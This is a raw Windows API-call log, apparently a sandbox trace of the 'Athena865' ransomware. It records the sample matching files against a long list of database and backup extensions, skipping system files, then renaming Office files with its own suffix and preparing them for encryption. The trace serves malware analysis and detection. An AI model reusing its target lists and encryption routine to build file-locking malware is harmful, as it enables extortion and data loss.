lstrcmpiW (lpString1="V.PDL", lpString2="fmpsl") returned 1 [0073.980] lstrlenW (lpString="fol") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fol") returned 1 [0073.980] lstrlenW (lpString="fp3") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fp3") returned 1 [0073.980] lstrlenW (lpString="fp4") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fp4") returned 1 [0073.980] lstrlenW (lpString="fp5") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fp5") returned 1 [0073.980] lstrlenW (lpString="fp7") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fp7") returned 1 [0073.980] lstrlenW (lpString="fpt") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fpt") returned 1 [0073.980] lstrlenW (lpString="frm") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="frm") returned 1 [0073.981] lstrlenW (lpString="gdb") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="gdb") returned 1 [0073.981] lstrlenW (lpString="gdb") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="gdb") returned 1 [0073.981] lstrlenW (lpString="grdb") returned 4 [0073.981] lstrcmpiW (lpString1=".PDL", lpString2="grdb") returned -1 [0073.981] lstrlenW (lpString="gwi") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="gwi") returned 1 [0073.981] lstrlenW (lpString="hdb") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="hdb") returned 1 [0073.981] lstrlenW (lpString="his") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="his") returned 1 [0073.981] lstrlenW (lpString="ib") returned 2 [0073.981] lstrcmpiW (lpString1="DL", lpString2="ib") returned -1 [0073.981] lstrlenW (lpString="idb") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="idb") returned 1 [0073.981] lstrlenW (lpString="ihx") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="ihx") returned 1 [0073.981] lstrlenW (lpString="itdb") returned 4 [0073.981] lstrcmpiW (lpString1=".PDL", lpString2="itdb") returned -1 [0073.981] lstrlenW (lpString="itw") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="itw") returned 1 [0073.981] lstrlenW (lpString="jet") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="jet") returned 1 [0073.981] lstrlenW (lpString="jtx") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="jtx") returned 1 [0073.981] lstrlenW (lpString="kdb") returned 3 [0073.981] lstrcmpiW (lpString1="PDL", lpString2="kdb") returned 1 [0073.981] lstrlenW (lpString="kexi") returned 4 [0073.981] lstrcmpiW (lpString1=".PDL", lpString2="kexi") returned -1 [0073.981] lstrlenW (lpString="kexic") returned 5 [0073.981] lstrcmpiW (lpString1="V.PDL", lpString2="kexic") returned 1 [0073.981] lstrlenW (lpString="kexis") returned 5 [0073.981] lstrcmpiW (lpString1="V.PDL", lpString2="kexis") returned 1 [0073.982] lstrlenW (lpString="lgc") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="lgc") returned 1 [0073.982] lstrlenW (lpString="lwx") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="lwx") returned 1 [0073.982] lstrlenW (lpString="maf") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="maf") returned 1 [0073.982] lstrlenW (lpString="maq") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="maq") returned 1 [0073.982] lstrlenW (lpString="mar") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mar") returned 1 [0073.982] lstrlenW (lpString="marshal") returned 7 [0073.982] lstrcmpiW (lpString1="SRV.PDL", lpString2="marshal") returned 1 [0073.982] lstrlenW (lpString="mas") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mas") returned 1 [0073.982] lstrlenW (lpString="mav") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mav") returned 1 [0073.982] lstrlenW (lpString="maw") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="maw") returned 1 [0073.982] lstrlenW (lpString="mdbhtml") returned 7 [0073.982] lstrcmpiW (lpString1="SRV.PDL", lpString2="mdbhtml") returned 1 [0073.982] lstrlenW (lpString="mdn") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mdn") returned 1 [0073.982] lstrlenW (lpString="mdt") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mdt") returned 1 [0073.982] lstrlenW (lpString="mfd") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mfd") returned 1 [0073.982] lstrlenW (lpString="mpd") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mpd") returned 1 [0073.982] lstrlenW (lpString="mrg") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mrg") returned 1 [0073.982] lstrlenW (lpString="mud") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mud") returned 1 [0073.982] lstrlenW (lpString="mwb") returned 3 [0073.982] lstrcmpiW (lpString1="PDL", lpString2="mwb") returned 1 [0073.983] lstrlenW (lpString="myd") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="myd") returned 1 [0073.983] lstrlenW (lpString="ndf") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="ndf") returned 1 [0073.983] lstrlenW (lpString="nnt") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="nnt") returned 1 [0073.983] lstrlenW (lpString="nrmlib") returned 6 [0073.983] lstrcmpiW (lpString1="RV.PDL", lpString2="nrmlib") returned 1 [0073.983] lstrlenW (lpString="ns2") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="ns2") returned 1 [0073.983] lstrlenW (lpString="ns3") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="ns3") returned 1 [0073.983] lstrlenW (lpString="ns4") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="ns4") returned 1 [0073.983] lstrlenW (lpString="nsf") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="nsf") returned 1 [0073.983] lstrlenW (lpString="nv") returned 2 [0073.983] lstrcmpiW (lpString1="DL", lpString2="nv") returned -1 [0073.983] lstrlenW (lpString="nv2") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="nv2") returned 1 [0073.983] lstrlenW (lpString="nwdb") returned 4 [0073.983] lstrcmpiW (lpString1=".PDL", lpString2="nwdb") returned -1 [0073.983] lstrlenW (lpString="nyf") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="nyf") returned 1 [0073.983] lstrlenW (lpString="odb") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="odb") returned 1 [0073.983] lstrlenW (lpString="odb") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="odb") returned 1 [0073.983] lstrlenW (lpString="oqy") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="oqy") returned 1 [0073.983] lstrlenW (lpString="ora") returned 3 [0073.983] lstrcmpiW (lpString1="PDL", lpString2="ora") returned 1 [0073.983] lstrlenW (lpString="orx") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="orx") returned 1 [0073.984] lstrlenW (lpString="owc") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="owc") returned 1 [0073.984] lstrlenW (lpString="p96") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="p96") returned 1 [0073.984] lstrlenW (lpString="p97") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="p97") returned 1 [0073.984] lstrlenW (lpString="pan") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="pan") returned 1 [0073.984] lstrlenW (lpString="pdb") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="pdb") returned 1 [0073.984] lstrlenW (lpString="pdm") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="pdm") returned -1 [0073.984] lstrlenW (lpString="pnz") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="pnz") returned -1 [0073.984] lstrlenW (lpString="qry") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="qry") returned -1 [0073.984] lstrlenW (lpString="qvd") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="qvd") returned -1 [0073.984] lstrlenW (lpString="rbf") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="rbf") returned -1 [0073.984] lstrlenW (lpString="rctd") returned 4 [0073.984] lstrcmpiW (lpString1=".PDL", lpString2="rctd") returned -1 [0073.984] lstrlenW (lpString="rod") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="rod") returned -1 [0073.984] lstrlenW (lpString="rodx") returned 4 [0073.984] lstrcmpiW (lpString1=".PDL", lpString2="rodx") returned -1 [0073.984] lstrlenW (lpString="rpd") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="rpd") returned -1 [0073.984] lstrlenW (lpString="rsd") returned 3 [0073.984] lstrcmpiW (lpString1="PDL", lpString2="rsd") returned -1 [0073.984] lstrlenW (lpString="sas7bdat") returned 8 [0073.984] lstrcmpiW (lpString1="SSRV.PDL", lpString2="sas7bdat") returned 1 [0073.984] lstrlenW (lpString="sbf") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="sbf") returned -1 [0073.985] lstrlenW (lpString="scx") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="scx") returned -1 [0073.985] lstrlenW (lpString="sdb") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="sdb") returned -1 [0073.985] lstrlenW (lpString="sdc") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="sdc") returned -1 [0073.985] lstrlenW (lpString="sdf") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="sdf") returned -1 [0073.985] lstrlenW (lpString="sis") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="sis") returned -1 [0073.985] lstrlenW (lpString="spq") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="spq") returned -1 [0073.985] lstrlenW (lpString="te") returned 2 [0073.985] lstrcmpiW (lpString1="DL", lpString2="te") returned -1 [0073.985] lstrlenW (lpString="teacher") returned 7 [0073.985] lstrcmpiW (lpString1="SRV.PDL", lpString2="teacher") returned -1 [0073.985] lstrlenW (lpString="tmd") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="tmd") returned -1 [0073.985] lstrlenW (lpString="tps") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="tps") returned -1 [0073.985] lstrlenW (lpString="trc") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="trc") returned -1 [0073.985] lstrlenW (lpString="trc") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="trc") returned -1 [0073.985] lstrlenW (lpString="trm") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="trm") returned -1 [0073.985] lstrlenW (lpString="udb") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="udb") returned -1 [0073.985] lstrlenW (lpString="udl") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="udl") returned -1 [0073.985] lstrlenW (lpString="usr") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="usr") returned -1 [0073.985] lstrlenW (lpString="v12") returned 3 [0073.985] lstrcmpiW (lpString1="PDL", lpString2="v12") returned -1 [0073.986] lstrlenW (lpString="vis") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="vis") returned -1 [0073.986] lstrlenW (lpString="vpd") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="vpd") returned -1 [0073.986] lstrlenW (lpString="vvv") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="vvv") returned -1 [0073.986] lstrlenW (lpString="wdb") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="wdb") returned -1 [0073.986] lstrlenW (lpString="wmdb") returned 4 [0073.986] lstrcmpiW (lpString1=".PDL", lpString2="wmdb") returned -1 [0073.986] lstrlenW (lpString="wrk") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="wrk") returned -1 [0073.986] lstrlenW (lpString="xdb") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="xdb") returned -1 [0073.986] lstrlenW (lpString="xld") returned 3 [0073.986] lstrcmpiW (lpString1="PDL", lpString2="xld") returned -1 [0073.986] lstrlenW (lpString="xmlff") returned 5 [0073.986] lstrcmpiW (lpString1="V.PDL", lpString2="xmlff") returned -1 [0073.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL.Athena865") returned 63 [0073.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl.athena865"), dwFlags=0x1) returned 1 [0073.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixssrv.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.987] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=196008) returned 1 [0073.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.987] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.988] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.988] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.988] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x300b0, lpName=0x0) returned 0x17c [0073.990] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x300b0) returned 0x170000 [0073.999] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.000] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.000] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.000] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0074.002] CloseHandle (hObject=0x17c) returned 1 [0074.002] CloseHandle (hObject=0x154) returned 1 [0074.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.003] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2=".") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="..") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="windows") returned -1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="bootmgr") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="temp") returned -1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="pagefile.sys") returned -1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="boot") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="ids.txt") returned 1 [0074.003] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="ntuser.dat") returned -1 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="perflogs") returned -1 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2="MSBuild") returned -1 [0074.004] lstrlenW (lpString="IXUTIL.DLL") returned 10 [0074.004] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXUTIL.DLL" | out: lpString1="IXUTIL.DLL") returned="IXUTIL.DLL" [0074.004] lstrlenW (lpString="IXUTIL.DLL") returned 10 [0074.004] lstrlenW (lpString="Athena865") returned 9 [0074.004] lstrcmpiW (lpString1="XUTIL.DLL", lpString2="Athena865") returned 1 [0074.004] lstrlenW (lpString=".dll") returned 4 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2=".dll") returned 1 [0074.004] lstrlenW (lpString=".lnk") returned 4 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2=".lnk") returned 1 [0074.004] lstrlenW (lpString=".ini") returned 4 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2=".ini") returned 1 [0074.004] lstrlenW (lpString=".sys") returned 4 [0074.004] lstrcmpiW (lpString1="IXUTIL.DLL", lpString2=".sys") returned 1 [0074.004] lstrlenW (lpString="IXUTIL.DLL") returned 10 [0074.004] lstrlenW (lpString="bak") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0074.004] lstrlenW (lpString="ba_") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0074.004] lstrlenW (lpString="dbb") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0074.004] lstrlenW (lpString="vmdk") returned 4 [0074.004] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0074.004] lstrlenW (lpString="rar") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0074.004] lstrlenW (lpString="zip") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0074.004] lstrlenW (lpString="tgz") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0074.004] lstrlenW (lpString="vbox") returned 4 [0074.004] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0074.004] lstrlenW (lpString="vdi") returned 3 [0074.004] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0074.005] lstrlenW (lpString="vhd") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0074.005] lstrlenW (lpString="vhdx") returned 4 [0074.005] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0074.005] lstrlenW (lpString="avhd") returned 4 [0074.005] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0074.005] lstrlenW (lpString="db") returned 2 [0074.005] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0074.005] lstrlenW (lpString="db2") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0074.005] lstrlenW (lpString="db3") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0074.005] lstrlenW (lpString="dbf") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0074.005] lstrlenW (lpString="mdf") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0074.005] lstrlenW (lpString="mdb") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0074.005] lstrlenW (lpString="sql") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0074.005] lstrlenW (lpString="sqlite") returned 6 [0074.005] lstrcmpiW (lpString1="IL.DLL", lpString2="sqlite") returned -1 [0074.005] lstrlenW (lpString="sqlite3") returned 7 [0074.005] lstrcmpiW (lpString1="TIL.DLL", lpString2="sqlite3") returned 1 [0074.005] lstrlenW (lpString="sqlitedb") returned 8 [0074.005] lstrcmpiW (lpString1="UTIL.DLL", lpString2="sqlitedb") returned 1 [0074.005] lstrlenW (lpString="xml") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0074.005] lstrlenW (lpString="$er") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0074.005] lstrlenW (lpString="4dd") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0074.005] lstrlenW (lpString="4dl") returned 3 [0074.005] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0074.005] lstrlenW (lpString="^^^") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0074.006] lstrlenW (lpString="abs") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0074.006] lstrlenW (lpString="abx") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0074.006] lstrlenW (lpString="accdb") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0074.006] lstrlenW (lpString="accdc") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0074.006] lstrlenW (lpString="accde") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0074.006] lstrlenW (lpString="accdr") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0074.006] lstrlenW (lpString="accdt") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0074.006] lstrlenW (lpString="accdw") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0074.006] lstrlenW (lpString="accft") returned 5 [0074.006] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0074.006] lstrlenW (lpString="adb") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.006] lstrlenW (lpString="adb") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.006] lstrlenW (lpString="ade") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0074.006] lstrlenW (lpString="adf") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0074.006] lstrlenW (lpString="adn") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0074.006] lstrlenW (lpString="adp") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0074.006] lstrlenW (lpString="alf") returned 3 [0074.006] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0074.006] lstrlenW (lpString="ask") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0074.007] lstrlenW (lpString="btr") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0074.007] lstrlenW (lpString="cat") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0074.007] lstrlenW (lpString="cdb") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0074.007] lstrlenW (lpString="ckp") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0074.007] lstrlenW (lpString="cma") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0074.007] lstrlenW (lpString="cpd") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0074.007] lstrlenW (lpString="dacpac") returned 6 [0074.007] lstrcmpiW (lpString1="IL.DLL", lpString2="dacpac") returned 1 [0074.007] lstrlenW (lpString="dad") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0074.007] lstrlenW (lpString="dadiagrams") returned 10 [0074.007] lstrlenW (lpString="daschema") returned 8 [0074.007] lstrcmpiW (lpString1="UTIL.DLL", lpString2="daschema") returned 1 [0074.007] lstrlenW (lpString="db-journal") returned 10 [0074.007] lstrlenW (lpString="db-shm") returned 6 [0074.007] lstrcmpiW (lpString1="IL.DLL", lpString2="db-shm") returned 1 [0074.007] lstrlenW (lpString="db-wal") returned 6 [0074.007] lstrcmpiW (lpString1="IL.DLL", lpString2="db-wal") returned 1 [0074.007] lstrlenW (lpString="dbc") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0074.007] lstrlenW (lpString="dbs") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0074.007] lstrlenW (lpString="dbt") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0074.007] lstrlenW (lpString="dbv") returned 3 [0074.007] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0074.008] lstrlenW (lpString="dbx") returned 3 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0074.008] lstrlenW (lpString="dcb") returned 3 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0074.008] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0074.008] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0074.008] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL.Athena865") returned 63 [0074.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll.athena865"), dwFlags=0x1) returned 1 [0074.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixutil.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.014] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=318336) returned 1 [0074.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 